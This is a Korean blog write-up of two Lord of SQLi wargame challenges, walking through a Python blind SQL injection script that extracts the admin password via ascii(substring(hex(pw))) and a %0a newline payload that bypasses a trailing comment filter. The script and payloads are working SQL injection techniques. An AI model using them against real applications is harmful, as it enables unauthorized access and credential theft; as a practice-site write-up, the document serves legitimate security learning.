본문 바로가기

워게임

los rubyia - 19번 20번 풀이

안녕하세요 저번이랑 이어서 계속 풀어 보겠습니다.

 

자비스라는 공룡 몬스터가 있다고 합니다.

 

 

음..

 

왜 regex와 like을 막은 건지 모르겠네요

 

일단 딱히 ' 을 막은 것도 아니니 length 함수 이용하여 admin의 pw 길이을 알아보겠습니다.

 

 

 

 

12글자네요!

 

그럼 substring 함수랑 ascii 함수를 이용해서 값들을 일일이 찾아보겠습니다.

 

import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********

url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php" #공격할 url 작성

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Cookie": "PHPSESSID=ckf35r5ih70ok31fqad0lktq2i"
} #header 기본 구문, 쿠키도 작성


def blind_sqli(blind_query) :
    while True :
        query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")

        index_value = "Hello admin" #참 거짓 식별용

        value = binarySearch(query,index_value)
        print(value + "\n")



def binarySearch(query, index_value) :
    s = 1
    value = ""

    for j in range(12) :
        for i in range(0, 127) : #공백부터 ~까지 대입
            data = {
                "pw": blind_query.format(query,s,i)
            }

            response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기

            if index_value in response.text :
                value += chr(i)
                s+=1
                print(value) #잘되나 확인용

    return value


blind_query = "' OR (id='admin' and ascii(substring({},{},1)) = {} ) %23" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작

 

실행해보겠습니다.

 

..?

 

안 나오네요? 한 번 직접 입력해 보겠습니다.

' OR (id='admin' AND ascii(substring(pw,1,1))>0) #

 

??!

 

안 나오네요? 원래는 나와야만 합니다. 왜냐하면 값이 있으면 무조건 아스키 값이 0보단 크니깐요

 

그럼 뭐가 문제냐.. 비밀번호가 16진법으로 저장이 된 경우 이런 오류가 발생할 수도 있다고 하네요

 

한번 hex 함수 이용하여 확인해보겠습니다.

 

헥사 값이 23글자 이상이라네요

 

헥사값으로 24글자을 가지고 있다네요

 

그럼 substring으로 1번째 글자의 길이을 찾아보겠습니다.

 

 

첫번째 글자가 4글자??

 

헥사값은 보통 8비트을 이용해 저장을 합니다. 그러니 첫 글자가 4글자인 이야기는

0000adcd  이렇게 저장되어 있을 겁니다. 즉 비밀번호는 3글자인데 한 글자당 4비트의 값이 있다는 이야기죠

 

그럼 파이썬 코드를 조금 수정하겠습니다.

 

hex을 사용하여 pw을 출력하면 되겠죠!

 

 

import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********

url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php" #공격할 url 작성

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Cookie": "PHPSESSID=ckf35r5ih70ok31fqad0lktq2i"
} #header 기본 구문, 쿠키도 작성


def blind_sqli(blind_query) :
    while True :
        query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")

        index_value = "Hello admin" #참 거짓 식별용

        value = binarySearch(query,index_value)
        print(value + "\n")



def binarySearch(query, index_value) :
    s = 1
    value = ""

    for j in range(24) :
        for i in range(32, 127) : #공백부터 ~까지 대입
            data = {
                "pw": blind_query.format(query,s,i)
            }

            response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기

            if index_value in response.text :
                value += chr(i)
                s+=1
                print(value) #잘되나 확인용

    return value


blind_query = "' OR (id='admin' and ascii(substring(hex({}),{},1)) = {} ) #" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작

 

hex(pw)을 하면 헥사 값들이 나올 겁니다. 그걸 한 글자씩 잘라서 비교하겠습니다.

 

실행!

엄청 오래 걸릴 거 같네요 24글자을 일일이 넣어서 찾으니깐요

 

 

좋아요!

 

이제 8비트씩 끝겠습니다.

 

0000C6B0  0000C655 0000AD73 이네요

 

글자 당 4글자이니 C6B0 C655 AD73 이 답입니다.

이걸 변환해보겠습니다.

헥사 코드표 중에 한글이 4비트을 사용을 하는데 찾아보겠습니다.

 

https://jjeong.tistory.com/696

 

유니코드(UTF-8) 한글 코드표, 한글코드 범위 {AC00-D7AF}

유니코드(UTF-8) 한글 코드표, 한글코드 범위 {AC00-D7AF} U+AC00 to U+AD00 0 1 2 3 4 5 6 7 8 9 A B C D E F UTF8: 234, 176, 128; UNICODE: AC0 가 각 갂 갃 간 갅 갆 갇 갈 갉 갊 갋 갌 갍 갎 갏 UTF8: 234, 176, 144; UNICODE: AC1 감

jjeong.tistory.com

 

 

C6B0 : 우

C655 : 왕

AD73 : 굳

 

저답은 우왕굳 이네요

 

 

우왕! 굳!

 

 

 

다음!

 

 

19번

 

드래곤! 얼마나 어려울까요

 

 

알아서 #가 되어있네요?

 

 

그리고 id을 admin 나오게 하라고 합니다. 음.. #은 한줄 처리하는 겁니다.

그 말은 한 줄 띄는 순간 #은 무용지물 되게 됩니다.

 

한 줄 띄우는 문자는 %0a을 이용하면 됩니다.

 

그러니 ' %0a 하면 한 줄 띄어지겠죠? 그럼 id='admin이라 적으면 끝입니다.'

 

작성해 보겠습니다.

 

'%0a OR id='admin'%23

 

음..

 

guest가 앞에 있어서 guest을 먼저 찾는 거 같아요

 

그럼 일부러 틀리게 AND을 넣겠습니다. SQL에서는 AND 먼저 계산을 합니다.

그러니 일부러 guest을 거짓으로 만들겠습니다.

 

'%0a AND pw='1' OR id='admin'%23

 

 

우왕굳

 

 

오늘 새로운 것을 알았습니다. 한 줄 띄우는 문자로 %0a 라는 것을요.

공백으로만 쓰는 줄 알았는데 아니었네요!

 

 

'워게임' 카테고리의 다른 글

los rubiya - 22(dark_eyes) 풀이  (0) 2023.05.23
los rubiya - 21(iron_golem) 풀이  (0) 2023.05.18
los rubiya -17,18풀이  (0) 2023.05.15
los rubiya -14,15,16 풀이  (0) 2023.05.14
los rubiya -11,12,13 풀이  (0) 2023.05.12